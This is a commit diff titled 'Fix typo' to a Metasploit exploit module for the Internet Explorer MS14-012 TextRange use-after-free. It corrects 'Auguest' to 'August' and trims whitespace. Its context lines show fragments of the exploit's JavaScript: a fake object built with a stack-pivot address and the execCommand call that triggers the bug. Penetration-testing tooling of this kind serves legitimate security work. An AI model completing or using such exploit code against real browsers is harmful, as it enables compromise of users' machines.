Fix typo

Author: jvazquez-r7

modules/exploits/windows/browser/ms14_012_textrange.rb

@@ -17,7 +17,7 @@ def initialize(info={})
         This module exploits a use-after-free vulnerability found in Internet Explorer. The flaw
         was most likely introduced back in 2013, therefore only certain builds of MSHTML are
         affected. In our testing with IE9, these vulnerable builds appear to be between
-        9.0.8112.16496 and 9.0.8112.16533, which implies Auguest 2013 until early March 2014
+        9.0.8112.16496 and 9.0.8112.16533, which implies August 2013 until early March 2014
         (before the patch).
       },
       'License'        => MSF_LICENSE,
@@ -106,7 +106,7 @@ def exploit_html
         hxds();
         var fake = "";
         for (var i = 0; i < 12; i++) {
-          if (i==0) { 
+          if (i==0) {
              fake += unescape("<%=Rex::Text.to_unescape([target['Pivot']].pack('V*'))%>");
           }
           else {
@@ -123,7 +123,7 @@ def exploit_html
           var element = document.createElement(elements[i]);
           document.body.appendChild(element);
         }
-        
+
         var tRange = document.body.createTextRange();
         tRange.moveToElementText(document.body.children[16]);
         tRange.execCommand('InsertInputSubmit', true, null);